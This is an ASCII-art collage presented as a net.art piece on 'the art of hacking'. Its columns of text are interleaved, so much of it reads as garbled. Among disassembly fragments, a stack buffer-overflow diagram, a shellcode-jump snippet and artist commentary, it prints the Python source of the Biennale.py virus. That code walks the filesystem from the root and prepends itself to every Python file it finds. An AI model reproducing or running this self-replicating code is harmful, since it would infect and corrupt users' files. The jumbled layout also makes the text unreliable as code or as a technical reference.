+--------------------------------------+
| hack_art: |
| push esi {__saved_esi} |
| mov esi, dword [esp+0x8 {arg1}] |
| mov eax, dword [esi] |
`` | cmp byte [eax+0x6], 0x0 |
`syyssoo++//::----. .,,,,,,,,. :yNh | jne 0x403e25 |
`NMMMMMMMMMMMMMMNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNmo´```hddhhs+sysyyyysyyyyyyys .` `+hMMMN` ` `` | |
mMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMh .:sms dMMd' ``.dN oMM oMd .+yhdNd .o yMMMMMMo /d/ ./dd +-----------------//:------------------+
s.----::://++ooossssyyyyyyhhhhdddddhhhhhdddmmmmNNm +dNMMy dNo`/mMo` +NN+:hMN- .Ny +NMMMMMm - :mo +MMMMMMs +NMN: +------` .sNMMM/ .-. .:/ -------------------------++
o net.art ````` ``````````` yMMMMMy ```yNMMMy :::://++/+os +NMMMMMM+ .-yNh. /Nm` `MMMMMMd` +NMMMm. | ````` :NMMMMMd ```-yNMy `````````````````````````//.
o scanning .s. `NMMMMMy .dMMMMMMy` o /NMMMMMMMo/sddNNMMMm: sNM- `MMMMMMM. .NMMMMMh | `mMMMMMMM. `sNMMM- +-----------//-------------+
o artworks /mMd` mMMMMMN -NMMMMMMMo `+ /NMMMMMMMMMMMMMMMMMMMNs` oMMs sMMMMMM. ::. +MMMMMMs` | /MMMMMMMMh`dMMMMN` | movsx eax, word [eax] |
o -------> .sNMMMy oMMMMMM sMMMMMMMN+ `+ /NMMMMMMMMMMMMMMMMMMMMMMy .NMh` `:y+ oMMMMMM/ /NMms. yMMMMMM/ ` mMMMMMMMMM+MMMMMs | test eax, eax |
`+ identify smMMMMMN: oMMMMMM` `NMMMMMMMNo .+ sNMMMMMMMMMMMMMMMMMMMMMMMMo `yMd.`/dMMN`oMMMms:` :NMMMMm/` `dMMMMMm- oMMMMMMMMMMNMMMMm: | je 0x403dcf |
.+ target sMMMMMMMd` oMMMMMM` /MMMMMMMMMo ./ oMMMMMMMMMMMMMMMMm+:mMMMMMMN. `dMd-/dMMMMN`-ho-` .- -mMMMMMMMms. :MMMMMMd /MMMMsdMMMMMMMMMMy +-----------//-------------+
-/ .dMMMMMMM+ oMMMMMM` :MMMMMMMMMN+` -: `yMMMMy:MMMMMMMMN+/` -mMMMMMMh` `yMMhdMMMMMMN` ` `:+dNh sMMMMMMMMMMmo` yMMMMMM/ `hMMMm.-MMMMMMMMMMs //
-: the art of .NMMMMMMN- oMMMMMM` -MMMMMMMMMMMo` :- `hMMMNo``MMMMMMMMo .NMMMMMMy:hMMMMMhhMMMMN` .dMMMMd sMMMMMMMMMMMm+` .NMMMMMd` /MMMM+ sMMMMMMMMM- ---------------------------://:-------------------+
:- hacking sMMMMMMMs oMMMMMM` -MMMMMdMMMMMMo /. .yMMMMs hMMMMMMM- /NMMMMMMMMMMNy:`oMMMMN -MMMMMd `yMMMMMMMMMMMMd/` sMMMMMM/ `hMMMm. `.mMMMMMMMM` --------------+ +-------://:-------+
/. what is it? .mMMMMMMN` oMMMMMM` .mMMMN.dMMMMMMo` + -mMMMMy` oMMMNdy- sMMMMMMMMms- sMMMMs :MMMMMm .MMMMMMMMMMMMMMm/` .NMMMMMd`:MMMMy /MMMMMMMd` 28aec], 0x0 | + `````````````````|
/. Loading... oMMMMMMMo-:odMMMMMMyyyhhNMMMN -dMMMMMMh:://omMMMMm` :ss/.` `.dMMMMMMM. sMMMM: :MMMMMM: yMMMMMMMMMMMMMMMy- sMMMMMM:dMMMM+ sMMMMmy. {data_528aec} | | cmp eax, 0x1 |
+` +================> `dMMMMMMMNMMMMMMMMMMMMMMMMMMMoohMMMMMMMMMMMMMMMMN: ``--/ohd-oMMMMMMMs` hMMMM- /MMMMMMo .NMMMMMdhMMMMMMMMNo`-NMMMMMmMMMMN. `mMNs. | | je 0x403df8 |
+` download sMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMy .dmNNMMN/-yymMMMMMN: .MMMMh /MMMMMMm` yMMMMMs`/dMMMMMMMMh.hMMMMMMMMMMMh+/:--./o-`` ------------+ --------://:-------:
o complete `+mMMMMMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMh .dMMMMNh- :MMMMMm. :MMMMo .MMMMMMMo /MMMMMN` `oMMMMMMMMmNMMMMMMMMMMMMMMMMNNmmddhyso+//:-: +---------://
o `yMMMMMMMMMMdsdMMMMMMohMMMMMMMMMNmmdmMMMMMMMMMMMMMM+` `:dMMMds: sMMNo` sMMMN: dMMMMMMN` `NMMMMM` +NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN. --+ +---------------//-----------------+
o ############# <<< -hMMmmMMMMMMMo sMMMMMMNMMMMMMMNy:-.```hMMMMMMMMMMMMMMmyo::--:oydMNho:` `s+. `MMMMd `.:/hMMMMMMMy.` sMMMMM -sNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMd` | | cmp dword [0x528aec], 0x0 |
o # ./start # <<< .mNho`/MMMMMMMy sMMMMMMMMNdmMMMs `yMMMMMMMMMMMMMMMMMMMMMmhs:. -MMMMh:ydNMMMMMMMMMMMmds+-`:MMMNo /mMMMMMMMMMMMMMMMMMyydmMMMMMMMMMMMMMNs` 8} | | je 0x403e08 {data_528aec} |
o # hacking # <<< `hm:` `mMMMMMMN`+MMMMMMMy-`oMMm. `oNMMMMMMmNNNMNNmmds+:. /MMMmhysossoossymNNMMMMMMMmhNNd- :dMMMMMMMMMMMMMMMMs` `/oyhdMMMMMMMm: | | |
o # # <<< oo` hMMMMMMM+`NMMMMMM: .NMN/ -hMMMm/.---:-..` +Nh+.````````````.:ohNNNdy+/o/` .yMMMMMMMMMMMMMMMMdo:-.//yMMMMMm/. ------+ +---------------://:---------------+
o # the art # <<< .- :MMMMMMMs.MMMMMMMy :MN/ `/ys. `-+s- `--.` `. ` .-.` ``...---..:hMMMMMMMMMMMMMMMMMMNMMMMMNd+. //
o # --------- # <<< .NMMMMMm.`MMMMMMMm-oN/ ``..-/ohdNMM- `.+hmMN+` `:oyhyo:-.``` ````.-+s/osyhdmmNNMMMNh` NMMMMMMMMMMMMMMMMMMMMMmh/`. +----------:/
+` ############# <<< hMMMMd- yMMMMMMM:+- ```....-::/+syhdddhsNMMMMMN...--.` /dNMMMMMd/` `/hmMMMMMMMMNmdhhyyyyyhhddmmMMMMNNNMMMMMMMMNs. :mMMMMMMdmMMMMMMMMMNdo. ./-----------------+ | +---------/:----------+
/-```````````````` yMMMm. oMMMMMN+` `-/osyhddmmNNMMMMMmy/'´ -.-NMMMMMMmmh+- .dMMMMMMMMMdo. .+ymNMMMMMMMMMMNNNNmmmNMMMMMm/::--::/+yMMNs. -dMMMMs`.odmNNNms+:` ,sp+0cx {arg2}], 0x0 | | | push 0x0 {var_8} |
`............-------::::+:::://///:::::::: .MMm- +MMMMd- `-ymMMMMMMMMMNmmhy/' :/oydmNMMMMMMMM:. /NMMMNMMMMMMMMNh:` `-sNMMMMMMMd--..```yMMMMMh .sMy- `yNMm. .-..` ,3df0 | | | call sub_43f47a |
o sub rsp,0x20 `NN: .NMMh` `/dMMMMMMMMMMMo-.. ..:dNNNmdmo//MMMMMMN` oMMMMM/omMMMMMMMMMms:` -mMMMMMMM- .MMMMMMh `-yNMh` :y: ----------------:------------------+ | +----------:----------+
o mov DWORD PTR /- `NMh` :dNNMMMMMMMMMMMNosdNNmhs/:s` s -MMMMMMM: /MMMMMm `:hNMMMMMMMMMmo-` :MMMMMNd+ /MMMMMMh :dMMMMo /: | /
o lea rdi,[rip+0 :/` /:-:/smMMMMMMMMMMmo:. o y `MMMMMMMs `mMMMMMs .yNNMMMMMMMMMdo:NMMy/. +MMMMMMy +MMMMMMN:` | +------------:/: +----------://
o call 0x555555555040 < put `oNMMMMMMMMm` / y NMMMMMMm /MMMMMMo +y-odNMMMMMMMMMMMM/ sMMMMMMh sMMMMMMMMh- | | +----------//:-----------+ +-----------------://:----------------+
o mov rax,QWORD PTR [rbp-0x20] +MMMMMMMMMo / s dMMMMMMM. sMMMMMMy..--::sm++ohMMMMMMMMMMNNd` sMMMMMMh `dMMMMMMNd/ | | | push 0x0 {var_8} | | cmp byte [esp+0xc {arg2}], 0x0 |
o add rax,0x8 `-/NMMMMMMMN- `+ o oMMMMMMMs`hMMMMMMMMMMMMMMMMMMMMMMMMMNNdo:`h +MMMMMMm `+mNmN+- | | | push 0x1 {var_c} | | je 0x403e19 |
o mov rdx,QWORD PTR [rax] oMMMMMMMMy -+ s -MMMMMMMMNMMMMMMMMMMMMMMMMMMNo++o++/-` h- +MMMMMMM. -o h | | | push esi {var_10_2} | | |
o lea rax,[rbp-0x8] `mMMMMMMMM- :+ h mMMMMMMMdsMMMMMMMMMMMMMMMMMMNy- .- -MMMMMMM+ `s y | | | call sub_442738 | +----------------://:-----------------+
o mov rsi,rdx /MMMMMMMMh .o s oMMMMMMMm yMMMMMMMMNdNMMMMMMMMMh:` `mMMMMMMd y y` | | | | +------------+/
o mov rdi,rax :MMMMMMMMN` `y `y .MMMMMMMM: oNMMMMdo. .yMMMMMMMMMMmo. sMMMMMMM. h y. | | +----------://:----------+ | +---------://:-----------+
o call 0x555555555030 < strcpy@plt> -MMMMMMMm: `h `y hMMMMMMMy oNMMdo .y+mMMMMMMMMMMh/` :MMMMmy/` d y. | +-------------:: | | push 0x0 {var_8} |
o mov eax,0x0 `yNMMMNs` `m .y /MMMMMMMN. .hdso -o /hNMMMMMMMMMNh+. yd+. m y/ | hy- | | push 0x1 {var_c} |
o `+oMMh- m -s `NMMMMMNo` ++ o :o .+dMMMMMMMMMMMms- +. m y+ | +---------://:----------+ | | push esi {var_10_2} |
o .--:::::::::::::::::-:::- `o:Ms m`:+ sMMMMs. ++ o .s yoyNMMMMMMNy/` y/ m y+ | | push esi {var_8_1} | | | call sub_4445b2 |
-::::::::::::::::--.` y`s+ m./+ :MMsd +o o .h h` -+yds-` h/ `m -- | | call sub_4451bf | | | |
o ++ h-/+ +. y. /y o` .h h` `+ h/ -y | | jmp 0x403e1f | | +-----------:/-----------+
`///////////////////////////////////////////////////. s +s y//+ s: /y +` .d h- `o h/ .d | | | +-------------+/
s: `````````````````````````````````````````````` `y y +s y//+ s+ /y +- .N ` .o d/ :d | +-----------:/:---------+ //
.-y: hshhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhsy.`y h +y y//+ -- +y +: .N .o h/ . | / +----------://:---------+
.-y: hd```````````````````````````````````````````ho-`y h +y y+++ `- +: `h -o +: | / | push esi {var_8_2} |
.-y: hd ho-`y h +o y+s+ +/ -o | / | call sub_442d98 |
.-y: hd <------------ click ho-`myyyyyy-........` m``..........`.`s+ .................. +o `..... -o oo -y-oomso: ohoo+ `d /+ +---------://:----------+
.-y: hd | ho-`Ndddddd-````````` m` ``````````` s+ `````````````````` +o `````/` -o oy o`:h N. sy... `M++y`:o+o+ d++s.os+o+`s++s`+s+s/`y+o: /d+oo oo+s.:yo-s++s` /
.-y: hd <-------| ho-`y`````` d` s+ +s :` +y /y+yy+o N. sh::: `N d-/o/sh m s+s/ `m:m++y:o+ :y`oooo /s .m.N++s+/s /d++y-`------:\ /
.-y: hd <-------| ho-`y y. s+ +o :` oy .Nh ym+ N. ss `h s.oo/+s N+/s`sy/o/`o+/o`/: -o`o/+o :+ `y ++/o.:/ `s+/o``----------------:/
.-y: hd <-------| ho-`y y: so `. :` yy `.:-.-:-...:....--...--...-..-..--.-.d--..s+--...--......-..--........-..---..---------------//
.-y: hd <-------| ho-`y y: /s :` yy `````````````````.::-```````````````````|````````````````````````````````````` //
.-y: hd <-------| ho-`y y- /o :` oo `-:-` | +-------------://:--------------+
.-y: hd <-------| ho-`y . o+ :` -: `-:-` | | mov eax, dword [esi] |
.-y: hd <-------| ho-`y s- :` ` `---` | | mov byte [eax+0x6], 0x1 |
.-y: hd <-------| ho-`y ` :` :` .--` | +---------------:---------------+
.-y: hd <-------| ho-`y :` o. .--` +----------------------------------------------------/
.-y: hd <--+ ho-`y :` h: .--` /:
.-y: hd ho-`y :. h: -.` +------------://:--------------+
.-y: hh-------------------------------------------yo-`y ``````````.:/- ` d: .+:::::::::::::::::::::::::::::::::::::::::/ | pop esi {__saved_esi} |
.-y+:h+++++++++++++++++++++++++++++++++++++++++++++s/:y Receive Art ``` .:odh+..--` d: .//`+++++++++++++++++++++++++++++++++++++// s | retn 0x8 {__return_addr} |
.-y/..........................................:/:.....y net.art Research `` .:ohmNd+` `.` y: -+/.h+..................................-os s +..............................+
.-y: -/ o` o y:y- `y Hacking Methods Collection . -ohNNNNy. . `` -+/.h/ void art() { ss s ````````````````````````````````
.-y: `` ` ` -:: `y Alternative Tech Utilization `` `.:yNNmh/` . -+/.h/ print("start hacking"); ss s
.-s+:::::::::::::/::::::::::::::::::::::/:::::::::::::o Nervous Systems Exploration `` :hNNNdy+` . We humans are not defective -+/.h/ art = net.art(); ss s
`--::::::::::::::m...................../y:::::::::::-` ASCII Porn . -hNmho-` `` because we do not fit -+/.h/ for(i;art.works;i++){ ss s
s+++++++++++++s/////////////////////+o++++++++++++o. Discover Invisible Spaces .-sho:. `` into the system. -+/.h/ appropriation(i); ss s
h .//////syhhy/////: o- Error In The System -:-` `` The system claims this only -+/.h/ possibility(i); ss s
..h /ddddddmNNNmdddddy o- Redirect Code Rethink the Future ```-``` because it is afraid of us and -+/.h/ inversion(i); ss s
.:d-------:----------------:-----------/+++/:-------s- Of Signs and Miracles :` wants to weaken us with self-doubt. -+/.h/ } ss s
.:h.......d................o+.yoooooooooooooooooooy:s- Beyond Surface :` Not only do we not have any, -+/.h/ print("hacked!"); ss s
.:h d +: d...................s-o- We Are Humans :` but we are the bug. -+/.h/ return; ss s
.:h d +: -------------:yyyho-- o- :` We are the perfect, ultimate error, -+/.h/ } ss s
.:h```````d````````````````+/```````````````////:```o- EXPLORE HACKS :` which always leads to something -+/.h+ `ss s
..s+os////s////////////////o+////////////////////+y/o` :` completely new, because -++-yo////////////////////////////////////y`s
./s//////////////////////////////////////////:/o | :` we are living beings. -+o-:--------------------------::::-:://:---s
````````````````````````````````````````````` | :` -+/ :-.: +:oo- s
| :` -+/```````````````````````````````````:-````s
V :` ./o//////////+o:::::::::::::::::s+/////////::
memory :` ``://////////+s:::::::::::::::::y+/////////:.
lower addresses :` s .::::/osso::::. .+
/------------------\ rax rbp r8 r12 :` `.y +yyyyhNNNmyyyy+ .+
| | rbp rsi r9 r13 :` ```.:h:::::/+:::::::::::::+:///////////////////+
| Text | rcx rdi r10 r14 .--------------------------------------------oNNNNMd .o s s::::::::::::::::s.+
| | rdx rsp r11 r15 `...-/y .o s ::::::::::::oss+::.+
|------------------| | | | | mov eax, dword ptr ds:[ecx] <--- CRASH `-y .o y `+//: .+
| (Initialized) | rip ----------|----------------- call dword ptr ds:[eax] <--- next instruction `.+/y/::/+:::::::::::::+:::::::::::::::::++:.
| Data | | `////////////////////////////////////:/.
| (Uninitialized) | | .-
|------------------| <-------- ################### xor edx, edx ; -> xor nulls the register = 00000000 yMNhs++/` When I first came into contact
| | # # mov dl, 0x60 ; -> adds 60 to the last byte = 00000060 mMMMMMMMd+. with the subject of hacking
| Heap | # CPU # mov dh, 0x1e ; -> add 1e to the previous byte = 00001e60 _________________________________________________ -MMMMMMMMMMm/ a few years ago in a seminar
| | # # add edi, edx ; -> summarizes 1e60, edi points to edi+1e60 | | +NMMMMMMMMMM/ at the University of the Arts,
|------------------| --------> ################### call edi ; -> here lays our shellcode | crawler () () | :NMMMMMMMMMMs` I bought Jon Erickson's book
| | | html-stream \ / | +MMMMMMMMMMMd` "Hacking - The Art of Exploits"
| Stack | ``` | map \ / | sMMMMMMMMMMMh` full of naive expectations of
| | `:shdyhh/` -///- | -oo+- ()_________\ / | .yMMMMMMMMMMMh` interesting hacking art.
\------------------/ `hNo:-.-omd. +NdsdN: `` :oyys+. `...`` `yms+yNy` ( )-----() | `sMMMMMMMMMMM+
higher addresses yM: :Ms +Nhodm:ymhs` ``` .ydo:-/sds.-+yyhyyyys:` hM: :md/ooo+-` \ | .NMMMMMMMMMMM. Until today it is among the most
N :Ms ./o+. hNNN-.-:+/.` `:oyyyyyys+-.dd- -hmms:.```.-+dh- .Mh .hMd++smd+``.-. \ | -MMMMMMMMMMMy in-depth and technical books about
buffer sfp ret a b c yM/` .hN-`.oyyyo``-::shhsosdy.-shho:-...-/sddN/ oms `.` .hm- ````-My `hN- `+Mhhmdmy. \ | mMMMMMMMMMMm` computers I have read
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] `smhyssymh- yds:-:dd` `oN+ -hdmy- .dN. `hm. +o+No -mh:yhhhhhMy .Nd` MMM/`/My () | oMMMMMMMMMMM- and for a long time I wondered
^ | `-::::-`oms. oNyyydm+ `yN/ smo---../hd/ smhd/ mNNo-..:omN/ +Mm--oNyhmhhN/.sys- | :MMMMMMMMMMM/ what exactly the art of hacking was.
|____________________________| `ym+ +mmo-+Ny `md ` ymdddddmNo` .-` .NN- `yM/ dMmhs: .::. yMymM/ | .NMMMMMMMMMM-
top of bottom of ``...`oN+ smo -No yN. `yo `:mh` ./hd- .: .hm- -Ns -Md .ohhs. | -NMMMMMMMMMM- Now I have created the work
stack stack `sdmdddmNm .mm` /m+ sN- :mmysyhd+` `mh hN:`.:odh- :. hM. | +MMMMMMMMMMN. I wish I had read on the subject
``:` `:- ``.dN:` `Nd :- . sN- `+Nh. hN` :dmdmmNy- .- yM- | /MMMMMMMMMMs at that time.
`/dmMo `NMMs `:ohdmmM/ md :o. hm` .s,,:Ny mm `/.`.--/smh- ``hM` hM. _________________________| `mMMMMMMMMMM+
.omMMMN+ yNd:.+syy+ -mmo::/MM` yN. `mm` +N+ :mmdmN/ +N+ .dm+ `ym/ hdNh NN .MMMMMMMMMMm` My wish is that art students
osNMMMMM+ mNo/sM:`Nm` NM. /No `md` .md -..-+my /mh hm/ yN/ .- /Ms Thus, the system enters a completely new yMMMMMMMMMM/ will be inspired by
`sMMMMMMM/ I/O/D hNsodN-`dNo.``/MMd/. +Mm. mm+ :dm- oN+ `+mN` mN/ `dm. .shNo` state that processes a sequence of `dMMMMMMMMMh the possibilities of technology
`dMMMMMMMo` WEB -/++. :ymmmho.+hmNdhdNyNy oNdm+ .omm/ omd:-:+ymhyN/ :mN- +N/ `/Nm/` instructions in machine language oMMMMMMMMMm` and computer scientists
:mMMMMMMMd. STALKER `--.``dN: ./hm/ /hmhydmyoNs dmoyyso/. `ymso+yNhNs .dNmyso+///+shNd+` `-://:-` that did not exist in the oMMMMMMMMMMo will be inspired by
:NMMMMMMMM+ `ohddddy/` `... +mh:` ./hN/.+` ``.:/+/. /dh+/++sdms//+++oooso+:` /NNmssydNs` program until that moment. +MMMMMMMMMN/ the philosophies of art
sMMMMMMMMM- is `:smy `+ydmdddmdy+. +M/ `+Nd :/----.+so++/. `ohyyo. hM+` -Nm The program undergoes a /MMMMMMMMMM- through this Hacking Art.
.NMMMMMMMMd` a `/yNmMd. `.-::///oossyhhhdmd.``````` hM. `oNNMy hMhhhhddd/ ///sNMNd: oMo:/mN. `Mh mN` process of complete `oMMMMMMMMMd/
from string import * sMMMMMMMMMd` -sNd+.sM:`osydmmdddyysNMo+//:-yMN.` /s` -My`omd/+. hM. ``` :Mdssymm+ -hmdydN. hN+. `sMo atomization and sub- `dMMMMMMMMMy` ..........|
import os, sys yMMMMMMMMMd weird `/dmy-` .: ysyho+ `yN+ `yMMN .Nd hMsmm/` Nm :My/ +sNN` `-:/. `/hdmddddh/ sequent recomposition :hMMMMMMMMNo ...2..>D....K|
from stat import * +MMMMMMMMMm` machine .smh+` .:+yMNdysoym\ :dN/ .dNNM/ .dN- :MMMNs/:. `NN+ooyyyyh.yMMMms+/. ``...`` possibly comparable .hMMMMMMMMNd: #.............|
from time import sleep oMMMMMMMMMM- -ymy:``-/ohmdys/-.`:smh+.-mm- /mN MN+`dN: -mMs:/oyhddo. .Mmo+/'''''``Nmohmy/. to a kind of "ego /NMMMMMMMMd- |2..>D....K._.s..|
def fornicate(guest): `NMMMMMMMMMy` .hNmysyddhyo:.` .odds-` /Nh. .hMMdMMo-hN: .:ohmMy `.:hNs+Mo| dM `-+hdds/. dissolution" which hMMMMMMMMN:` |..........2..>D.|
try: oMMMMMMMMMMo :yhys+:-.` `/hmy/` +Ny` `+mh+-:My sM+ `-+hdho:hM+ /hdM/ hM` .:ohdds/. :h- people describe :yMMMMMMMMs- |................|
soul = open(guest, "r").NMMMMMMMMMMo -smd+. oMs` -hm+` yM-:Mh:oddy/--:+NMdhhs `yMm++..-::/++yM:.-:+s+ .:ohddy/-` -Nd` after consuming `sdMMMMMMMNy: |....i...zJ._P"..|
body = soul.read() -dMMMMMMMMMNo` .+dms-` :My mN- .my mMmhs:`.ydhhs/-.` dNhhhhhdmmNNMmMdhhys+- `-+yhdy+yMs psychedelics. `+mMMMMMMNmd/` |..........F....]|
soul.close() .mMMMMMMMMMMd/` `oy `:ydh/. :y. .My .` ++-` `--` .-...hddhhys+/-..` .---::ohdMM+ .+dMMMMMMMm+`` |..8...!nzJ._c"..|
if body.find("[epidemiC]") == -1: MMMh:` :hm+.:yddo- +M+ --.` +hhhhhhhdNMNo :+mMMMMMMmh:` |..........F....]|
soul = open(guest, "w") -yNMMMMMMMMMNms` :hMdyhdho-` yM- EXPLOITING THE I/O/D WEBSTALKER ``..--:+: -+hNMMMMMNy/` |..8...!nzJ._s"..|
soul.write(mybody + "\n\n" + body) MMMMms- `dNNMMms:-.` `Nm 41414141 Classic stack based buffer overflow -sdNMMMMMNds. |..8...!nzJ._."..|
soul.close() `/dNMMMMMMMMMMNy/` `.-:/oshdhhyo :N+ Overflow in networking lib leads to `/sNMMMMMNho-` |..........F....]|
except IOError: pass `-+mMMMMMMMMMMMms. `-:: . Remote code execution when crawling a website ------------------------------------------------------------+ !nzJ._."..|
def chat(party, guest): ./ymMMMMMMMMMMNs- `yMMMMMMMs/. | ......8...|
if guest.split(".")[-1] in ("py", "pyw"): MMMMMMm+ .odMMMMMMm/ Structures and logic | ."........|
fornicate(party + guest) `-odMMMMMMMMMy- In the end, it doesn't matter `:mMMMMMMm/. can serve as artistic material. | 8...!nzJ._|
def join(party): `yNMMMMMMMMN/ Released on the night of the opening, -/ymMd:.sy/ how the code is approached, .hMMMMMMdo. However, not their | ..........|
try: .:dMMMMMMMN- it quickly spread around the world. +mMm++/` /NMy+`/hMy. what matters is -/mMMMMMNo. visually perceptible form, | 8...!nzJ._|
if not S_ISLNK(os.stat(party)[ST_MODE]): `hMMMMMMMm/ Immaterial and self-replicating, `ohydMy+--`.hso:o:mo` /s+. doing it at all. +NMMMMMMm- as expressed in abstract painting, | ..........|
guestbook = os.listdir(party) sMMMMMMMh when the virus enters a computer yMMNo`/MhysyNMMMhsss+oymdsyMd` oMMMMMMMh. but their invisible | 8...!nzJ._|
if party != "/": .hMMMMMMN. it stays there, .+hmds/yhMmo. +NMMm:mMMMMMMMd+NMMNh+Mmo` `dMMMMMMs` and abstract essence in itself. | ..........|
party = party + "/" dMMMMMM` hidden, yo:mms/+MMMNhmMMMMs.+o/mMMMMMdNMMN+ohMMm. yMMMMMM+ The structure and logic as such | zJ._."....|
if not party.lower() in wank and not "__init__.py" in guestbook: trying to survive /-`/Mos/:NMMMhyMMMMN+` hMMMMMMM+yMMMdsohmm- -NMMMMMy can be experienced through art. | ....8...!n|
for guest in guestbook: +MMMMMM/ for as long as possible. .my//+MMMhsMMMMmdMdMMMMy/MMmoMMMMMMMMMMMMNhNy. mMMMMMd` | ..........|
chat(party, guest) -NMMMMMd :shh`-`dMNMMMhhhs`..NMMMMMydMmMNdyshNMMMMy::yyMs dMMMMM+ First, you must realize | .]..8...!n|
join(party + guest) +MMMMMh. 0100101110101101.org dNs`:-MNhdydMNoy-`-sdMMNNMMdy/odMMNy/hshyMNhMysNN: `MMMMMd that a file has no intrinsic meaning. | ..........|
except OSError: pass -+/+hmhdNMMMMy` - oyMNhyhsss+dMdmMdhMhohhMMMy+oMMMNdhdNMNMMmNNymd :MMMMM- The meaning of a file - its type, | ..!nzJ._ #|
if __name__ == '__main__': `/hdMMMMMMMMMMMm+ `NMdso//+mMMMMMMs/+shMydMo/sMMMmydMMMod:ohM:. .MMMMN` its validity, its contents - | ........8.|
mysoul = open(sys.argv[0]) `oNMMMMMMMMMMMmd/` +. /yMMMNmyMoNMMMNs``:hMMyMMMmMMMMh.oMMMMMMdy: sMMMM/ can be different for each | ._.#......|
mybody = mysoul.read() `NMMMMMo::oo+-.` oNh+.:MM/oMdysMMdmN/ `-yNMymMMMMMMMMyhmyMMMMy`-++: -MMMMo parser or interpreter. | >....]..8.|
mybody = mybody[:mybody.find("#"*3) + 3] NMMMMh :yyyyNoo` ''/+.hMMNoo/::sdMMMMMNMMMMMy+yMMd -hMMN` | ._;#......|
mysoul.close() +MMMMMh \N/ ..-..` \N/ \NNN::/+' -NMM+ Ange Albertini | ..8...!nzJ|
blacklist = sys.exec_prefix.split(":")[-1].replace("\\", "/") `/shhddddhs: -/+` \MNNN+' /mMd. .oNMs- .,::::,. | ..........|
if blacklist[-1] != "/": blacklist = blacklist + "/" .` `` -: .:sso/ `+hdy:.:ymmmmdyhy` :yddm+ ':N/-+: yMMMm: .syh- -sddmNNMNNMMNNms: | !nzJ._V#..|
wank = [blacklist.lower(), "/proc/", "/dev/", "/sys/"] -: -y- :m` .hdmmmd: -hmd+` `ymmmmmmm+ ommmmd: +yMMd -dMMMNo- ` -+s/:/+.::/shshNMNmo: | .........]|
join("/") sMMMMy o+: -mssh+y. /dmmmmh` /dmd: +mmmmmmmy +mmmmmd- `dMMMMNh/` .:ymMNo. | !nzJ._c#..|
yMMMM: +s . -yddooMMMMh:oyh. ommmmms+dmd+ +mmmmmmmd. ommmmmmh- `oNMMMMMmy:` .yMMh. | .........]|
`` /NMMMh ^ .` ` `:-oNMNMMMMMNMh: `hmmmmmmmmy `hmmmdmmmm+ ymmmdmmmd- ./dMMMMMNmd+:` `/NMd | !nzJ._q#..|
.:+oohmddysso:-.` `./yNMMNh` | `/+dNMMMMMMMNys/ :dmmmmmmm: +mmmh:hmmmd+/sdmh+:dmmmd: .- ./hNMMMMMMMMdy+-.` -MM- | .........]|
`/yymMNmmmhdNMMMMMNmmhmNMMMmy- | `hmhmMMMMMmhh:` smmmmmmm- `/dmmh- :hmmmmdhs/` -hmmmd: . .h+`oN/hMmmMMMMMMMMNmdo:. /d: | !nzJ._~#..|
`-sdMNy+o-`..``.:+smNMMMMMNdho. | . `-.`oh:sMNN..:: .dmmmmmm: .sdmdo` ./oo/-. .hmmmd: o+./NdNMdMs..///omNMMMMMMMms:` ` | .........]|
:hmNm+-` ..//--` `-:////-`` | .s` .` oN-yo ommmmmmh/-:sddhs- ` -dmmmd- oMmdMMMMMm:-.:+: `-+hdNMMMMMMho. `. | !nzJ._.#..|
`sNms-.`-/dmmNNds: | .o -d `` -dmmmmdddhhyo:. `-+ss: :dmmmh` ..ohyMMMMMMMNdhyo+ `.+dmMMMMMm/ .hN. | .........]|
:MN. /hNNdy:.-` +/ | . `. `. hmmmmy--.` `+hdd+` ommmms /ddyydMNMMMddmdms ./yNMMMM+` +MMs | !nzJ._.#..|
/m/ oNdo-` `:- `s:Ny ` | PYNDEMIC `/ ommmmy `-.:. .hmmms-..`````` `dmmmd` `+MMMNy ./sh/ -` -hMMMNy mMMM` | .........]|
. +y. `+: `ohh/-mNMdsh.`` | Biennale.py -mmmmd` -hdddh`oddmmmmddhhhhyyso+/dmmd/ ` :MMM+ho `s-- ` `yMMMM- `NMMMo | !nzJ._.#..|
-. -oo. `oomMNMMMMMNhy: +------- code ------> dmmmm- -dmmmm+`-:/+syhdddddmmmmmmdds- -y `ymmN``h+ . `NMMM: +MMMMh | ......8...|
`oN+ od: `sNMMMMMMMMs+` Analysis ``` ommmd/ .dmmmmh `.-:/+oo+++/. /`/d` ` | .#........|
`hM+ +M: .yso+mMMMmNMmy:` /syhhs: -hys:` ````dmmmmm- `-+shdddhs+. . o ._____ o .___ _____ 0 ________o. | 8...!nzJ._|
____ `oN+ `oN+ `+hmNMMMmy- `----` /dmmmmmd. `:osyhhydmmmmmo `/yddhhddmmmmdo` //o \ o \ \_/ __0____._o/. ______/ | ..........|
/ \ +y´ +y´ ` oN-yo` hmmmms /dmmmmmmmy :sdmdy+/+ydmmmmmd` :hmms. `/dmmmmmy O---// x _/_ o \ __/(___ ___/ /__ o . | 8...!nzJ._|
/ \ ___________ ____________ ______ :dmmmm+ .dmmmmmmmmm: `smmms- smmmmmm/`odmmd` -dmmmmm: / ___ \ / / . / o/ / ___//----O | ..........|
\ //\ \ \ \__ ______/\ \\ \ \ /\ \ \ __ smmmmd-ymmmmhhmmmmh` smmmd` :mmmmmmhymmmmh hmmmmms 0/__ / / / o 0. / / / /_____o | zJ._.$....|
\____// \_\___\____\ \/\ \ \ \_\\______\_\___/ \__\__\ / \ `hmmmmmmmmmm-.hmmmms.mmmmh +mmmmmmmmmmmmds+/:-` smmmmmy (________00_/// /_____ / == ________// | ..........|
/\ / ' ' /__\ \_\___\/ / \ \ /_____/ \__/ .dmmmmmmmmd -dmmmmsmmmmd. `dmmmmmmmmmmmmmmmmmmmddmmmmm+ . o 0'''''''''''' \__+----+\__/ ''''''''' 0 o . | ..........|
/\ \/ _____/ /_/ //___ ___/___\_\/ / \_ ____ -dmmmmmmmy :dmmmmmmmmmy ommmyhmmmmmmmmms+ossyhddyso: ..::~//=$ was the substance of all things $=\\~::.. | ........P.|
